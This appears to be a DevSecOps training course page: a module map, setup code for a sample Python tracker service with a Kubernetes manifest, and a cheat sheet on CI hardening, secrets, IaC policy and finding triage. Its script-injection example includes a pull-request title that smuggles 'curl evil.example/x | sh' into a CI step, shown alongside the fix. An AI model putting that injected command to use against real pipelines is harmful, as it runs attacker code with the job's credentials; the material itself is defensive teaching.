What you'll learn
- Threat-model a service with data flows, trust boundaries and STRIDE
- Find and fix injection and access-control flaws, and catch them with SAST
- Remove stored secrets with secret scanning, secret managers and OIDC
- Gate dependencies by KEV, EPSS and CVSS, publish SBOMs and sign artifacts with provenance
- Enforce container, IaC and Kubernetes policy and detect attacks at run time
Each lesson is tagged Junior, Mid or Expert, so you can start where you are. Finish with the lab and the quiz; a score of 4 out of 5 marks the course complete in this browser.
The lessons below are in English for now, because they quote technical names, commands and log fields. An Arabic version is planned.
Course map
Each module moves from fundamentals to applied work to an expert challenge. Exercises have worked solutions: try first, then open the solution. 10 modules · 7 exercises · ~3.8 hours
- 0Start here: what DevSecOps is and the course projectJuniorMidExpert20 min · 0 exercises
- 1Threat modeling and secure designJuniorMidExpert20 min · 1 exercises
- 2Secure coding and static analysis (SAST)JuniorMidExpert25 min · 1 exercises
- 3Secrets management and workload identityJuniorMidExpert20 min · 0 exercises
- 4Dependencies, SCA and SBOMsJuniorMidExpert25 min · 1 exercises
- 5Software supply chain integrityJuniorMidExpert25 min · 1 exercises
- 6Container and infrastructure-as-code securityJuniorMidExpert25 min · 1 exercises
- 7Kubernetes security and admission controlJuniorMidExpert25 min · 0 exercises
- 8DAST, runtime security and security operationsJuniorMidExpert25 min · 1 exercises
- 9Building a DevSecOps programme, cheat sheet and assessmentJuniorMidExpert20 min · 1 exercises
No prior experience is needed. Module 0 covers the architecture, installation and configuration, and sets up the project you extend in every module. Each command is labelled with its impact (read-only, changes files, changes the system, uses the network). Work on a computer or virtual machine you control.
Start here: what DevSecOps is and the course project
Goal: Understand DevSecOps, shift-left and shield-right, map security controls onto the delivery lifecycle, and set up the project.
DevSecOps in one picture
DevSecOps builds security into every stage of DevOps instead of testing at the end. Security becomes automated checks in the pipeline, secure defaults in templates, and shared responsibility between developers, operations and security engineers.
A separate security review before release is too slow for teams that deploy daily, and it finds problems when they are most expensive to fix. Attackers also target the delivery system itself: source repositories, dependencies, CI runners and registries. That is why software supply chain failures entered the OWASP Top 10 in its 2025 edition.
Shift left: catch issues early (design, code, build). Shield right: protect and detect in production (admission control, runtime detection, monitoring). Both are needed: no pipeline catches everything.
Quick check: Which describes DevSecOps best?
Scanners help, but DevSecOps is about where and by whom security is done.
The course project
You will secure the shipment tracker from the DevOps course: the same service, pipeline and Kubernetes deployment. The architecture diagram now carries a red tag for each security control; the control added in the current module is highlighted.
Python, Git, jq and OpenSSL are enough for every hands-on step. Scanner, cluster and cloud steps are shown as annotated configuration with labelled example output, so you can follow without accounts.
mkdir -p ~/tracker && cd ~/tracker && git init -q
cat > app.py <<'__EOF__'
"""Rimal shipment tracker: a minimal HTTP API (standard library only)."""
import json, os, sys
from http.server import BaseHTTPRequestHandler, HTTPServer
SHIPMENTS = {"RL-1001": {"status": "in transit", "eta": "2026-12-05"},
"RL-1002": {"status": "delivered", "eta": "2026-12-02"}}
def lookup(shipment_id):
"""Return (HTTP status, body) for a shipment id."""
if shipment_id in SHIPMENTS:
return 200, {"id": shipment_id, **SHIPMENTS[shipment_id]}
return 404, {"error": "not found"}
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/healthz":
code, body = 200, {"status": "ok", "version": os.environ.get("APP_VERSION", "dev")}
elif self.path.startswith("/shipments/"):
code, body = lookup(self.path.rsplit("/", 1)[-1])
else:
code, body = 404, {"error": "not found"}
self.send_response(code)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(body).encode())
print(json.dumps({"event": "request", "path": self.path, "status": code}), file=sys.stderr)
def log_message(self, *args):
pass # structured log line above replaces the default access log
if __name__ == "__main__":
port = int(os.environ.get("PORT", "8080"))
HTTPServer(("0.0.0.0", port), Handler).serve_forever()
__EOF__
cat > test_app.py <<'__EOF__'
import json, threading, unittest, urllib.request
from http.server import HTTPServer
import app
class LookupTests(unittest.TestCase):
def test_known_shipment(self):
code, body = app.lookup("RL-1001")
self.assertEqual(code, 200)
self.assertEqual(body["status"], "in transit")
def test_unknown_shipment(self):
self.assertEqual(app.lookup("RL-9999")[0], 404)
class HttpTests(unittest.TestCase):
def test_health_endpoint(self):
srv = HTTPServer(("127.0.0.1", 0), app.Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_port}/healthz"
with urllib.request.urlopen(url, timeout=5) as r:
self.assertEqual(json.load(r)["status"], "ok")
srv.shutdown()
__EOF__
mkdir -p k8s && mkdir -p k8s
cat > k8s/tracker.yaml <<'__EOF__'
apiVersion: apps/v1
kind: Deployment
metadata:
name: tracker
labels: { app: tracker }
spec:
replicas: 3
selector:
matchLabels: { app: tracker }
strategy:
rollingUpdate: { maxUnavailable: 0, maxSurge: 1 }
template:
metadata:
labels: { app: tracker }
spec:
containers:
- name: tracker
image: ghcr.io/rimal-logistics/tracker:1.4.0
ports: [{ containerPort: 8080 }]
env:
- { name: APP_VERSION, value: "1.4.0" }
readinessProbe:
httpGet: { path: /healthz, port: 8080 }
livenessProbe:
httpGet: { path: /healthz, port: 8080 }
initialDelaySeconds: 10
resources:
requests: { cpu: 50m, memory: 64Mi }
limits: { memory: 128Mi }
---
apiVersion: v1
kind: Service
metadata:
name: tracker
spec:
selector: { app: tracker }
ports: [{ port: 80, targetPort: 8080 }]
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: tracker
spec:
parentRefs: [{ name: public-gateway }]
hostnames: ["track.rimal.example"]
rules:
- backendRefs: [{ name: tracker, port: 80 }]
__EOF__
git add . && git commit -qm "Tracker service from the DevOps course"
git log --oneline
ls -R | head -n 86ace32e Tracker service from the DevOps course .: app.py k8s test_app.py ./k8s: tracker.yaml
Security platforms and references
Open standards: Top 10, ASVS, SAMM, ZAP, Dependency-Track, Cheat Sheets.
Use it for: requirements, testing, maturity
Integrates with: every stage
Code scanning (CodeQL), secret scanning with push protection, Dependabot.
Use it for: security built into GitHub
Integrates with: Actions, SARIF tools
SAST, dependency, container, secret and DAST scanning in pipelines.
Use it for: all-in-one GitLab
Integrates with: merge requests, security dashboard
Aggregates and de-duplicates findings from many scanners.
Use it for: vulnerability management
Integrates with: Trivy, ZAP, Semgrep, Jira
Threat modeling and secure design
Goal: Draw the system's data flows and trust boundaries, find threats with STRIDE, and map them to the OWASP Top 10:2025.
Secure coding and static analysis (SAST)
Goal: Recognise and fix injection and access-control flaws, and catch them automatically with static analysis in CI.
Secrets management and workload identity
Goal: Keep secrets out of code and pipelines, detect leaks, store secrets centrally, and replace stored cloud keys with OIDC.
Dependencies, SCA and SBOMs
Goal: Find vulnerable dependencies, prioritise them by real risk, gate the pipeline, and produce an SBOM.
Software supply chain integrity
Goal: Understand supply-chain attacks on the delivery system, harden CI, and prove integrity with digests, signatures and provenance.
Container and infrastructure-as-code security
Goal: Harden images, scan Dockerfiles and IaC for misconfigurations, and enforce a policy on Kubernetes manifests in CI.
Kubernetes security and admission control
Goal: Apply least privilege to pods, network and API access, and enforce policy at admission so nothing unsafe runs.
DAST, runtime security and security operations
Goal: Test the running application, detect attacks in production, and respond when the pipeline itself is compromised.
Building a DevSecOps programme, cheat sheet and assessment
Goal: Roll DevSecOps out without stopping delivery, measure it, and apply the whole course to a new service.
Quick reference (the cheat-sheet lessons and the PDF content)
Security in every stage
| Stage | Control | Example tools |
|---|---|---|
| Plan | Threat model new features; security requirements in the ticket | STRIDE, OWASP Threat Dragon |
| Code | IDE linting, pre-commit secret scan, secure defaults | Semgrep, gitleaks, pre-commit |
| Pull request | SAST, dependency scan (SCA), IaC scan, review by CODEOWNERS | CodeQL, Semgrep, Dependabot, Trivy, Checkov |
| Build | Hermetic, ephemeral runners; SBOM and provenance | Syft, SLSA generators, BuildKit |
| Artifact | Image scan, signature, storage in a private registry | Trivy, Grype, cosign |
| Deploy | Admission policy verifies signature and config | Kyverno, OPA Gatekeeper, Sigstore policy-controller |
| Run | DAST, runtime detection, patch SLAs, logging to SIEM | ZAP, Falco, Tetragon, cloud posture tools |
Software supply chain: where attacks land and what stops them
Attackers target the build path because one compromise reaches every customer. Red: typical attacks. Black: the matching control.
Harden the CI/CD platform
GitHub Actions
- Default
permissions: contents: read - Pin third-party actions to a full commit SHA
- Never run untrusted PR code with
pull_request_targetplus checkout of the PR head - Do not interpolate
${{ github.event.* }}intorun:; pass through env - OIDC to the cloud, scoped to repo, branch and environment
- Required reviewers on production environments
Any CI system
- Ephemeral runners: a fresh VM or container per job
- No self-hosted runners on public repositories
- Secrets only for protected branches and tags
- Separate build and deploy identities
- Log pipeline changes and runner activity to the SIEM
- Review changes to pipeline files like production code (CODEOWNERS)
Script injection: the most common CI bug
- run: echo "Title: ${{ github.event.pull_request.title }}"
# a PR titled a"; curl evil.example/x | sh; echo "
# runs attacker code with this job's token- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $TITLE" # data, not codeSecrets management decision guide
| Where is it used? | Use |
|---|---|
| CI job calling a cloud API | OIDC federation: no stored secret at all |
| App in Kubernetes | External Secrets Operator or CSI driver from Vault / cloud secret manager |
| App on a VM or serverless | Cloud secret manager with the workload's identity |
| Developer laptop | Password manager or op / vault CLI; never .env in Git |
| Third-party API key you must store | Secret manager, rotation schedule, scoped key, alert on use from new IPs |
If a secret leaks
- 1. Revoke and rotate immediately
- 2. Check logs for use since the leak
- 3. Remove from code and history
- 4. Add a scanner rule so it cannot recur
- Public repos are scraped within minutes
Infrastructure as code and policy as code
terraform fmt -check && terraform validate
tflint
checkov -d . --framework terraform # misconfigurations
trivy config . # also Dockerfile, k8s
terraform plan -out tf.plan
terraform show -json tf.plan > plan.json
conftest test plan.json -p policy/ # your own rulespackage main
import rego.v1
deny contains msg if {
some r in input.resource_changes
r.type == "aws_s3_bucket_public_access_block"
r.change.after.block_public_acls == false
msg := sprintf("%s must block public ACLs", [r.address])
}Triage scanner findings without drowning
Prioritize with exploitability and exposure, not CVSS alone. The ThreatAI threatai.net/cve-priority tool does this with KEV and EPSS.
| Signal | Priority |
|---|---|
| Exploited in the wild (CISA KEV) and reachable in your code | Fix now: block the release |
| High EPSS, internet-facing service | Fix within days |
| Critical CVSS but the vulnerable function is never called | Plan; document the reachability evidence |
| Dev-only dependency, not shipped | Backlog |
| Duplicate across 40 images from one base | Fix the base image once, rebuild all |
A 90-day DevSecOps rollout
Metrics that show progress
| Metric | Target direction |
|---|---|
| Mean time to remediate critical findings | Down, within your SLA |
| % of repos with secret scanning, SAST and SCA on | Up to 100% |
| % of production images signed and with an SBOM | Up to 100% |
| Findings opened vs closed per month | Closed ≥ opened |
| Security-related pipeline failures fixed by developers without help | Up: the tools are usable |
Key terms
- Shift left / shield right
- Catch issues early in design, code and build / protect and detect in production.
- SAST / SCA / DAST
- Static code analysis / analysis of third-party components / testing the running application.
- SBOM
- Software bill of materials: the list of components inside an artifact (CycloneDX or SPDX).
- SLSA provenance
- Signed metadata describing how, where and from what an artifact was built.
- Admission control
- Kubernetes checks that can reject an object before it is stored and run.
- KEV / EPSS
- CISA's list of exploited vulnerabilities / FIRST's probability of exploitation.
Hands-on lab
Knowledge check
Answer all five questions, then check your answers. Each answer comes with a short explanation.
Further reading
- OWASP Top 10:2025 owasp.org
- NIST SP 800-218 (SSDF) csrc.nist.gov
- SLSA slsa.dev
- Sigstore documentation docs.sigstore.dev
- OpenSSF Scorecard scorecard.dev
- CISA KEV catalog cisa.gov
- Kubernetes security kubernetes.io
- OWASP Top 10 CI/CD Security Risks owasp.org
Put it into practice
Use these ThreatAI tools to apply what you learned to your own environment.